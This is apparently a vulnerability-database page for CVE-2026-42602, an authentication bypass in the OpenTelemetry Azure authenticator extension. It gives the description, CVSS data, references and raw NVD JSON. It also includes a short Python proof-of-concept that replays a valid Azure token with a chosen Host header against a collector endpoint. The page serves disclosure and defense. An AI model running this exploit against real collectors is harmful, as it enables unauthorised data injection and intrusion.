CVE-2026-42602

Description

azureauthextension is the Azure Authenticator Extension. From 0.124.0 to 0.150.0, a server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

azureauthextension 0.124.0 - 0.150.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
target_url = "http://<collector-host>:4318/v1/logs"
# A valid Azure access token for any resource the collector's identity can access
valid_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1Ni..."
# The Host header must match the resource audience of the token
malicious_host = "<resource-name>.azurewebsites.net" 

headers = {
    "Authorization": f"Bearer {valid_token}",
    "Host": malicious_host,
    "Content-Type": "application/json"
}

payload = '{"resourceLogs": []}'

try:
    response = requests.post(target_url, headers=headers, data=payload, verify=False)
    if response.status_code == 200 or response.status_code == 202:
        print("[+] Exploit successful: Authentication bypassed.")
    else:
        print(f"[-] Exploit failed: Status code {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42602
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42602
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42602/
[4] VulDB https://vuldb.com/cve/CVE-2026-42602
[5] https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f
[6] https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42602", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:47.210", "lastModified": "2026-05-14T18:17:11.253", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "azureauthextension is the Azure Authenticator Extension. From 0.124.0 to 0.150.0, a server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}, {"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-290"}, {"lang": "en", "value": "CWE-294"}, {"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f", "source": "[email protected]"}, {"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}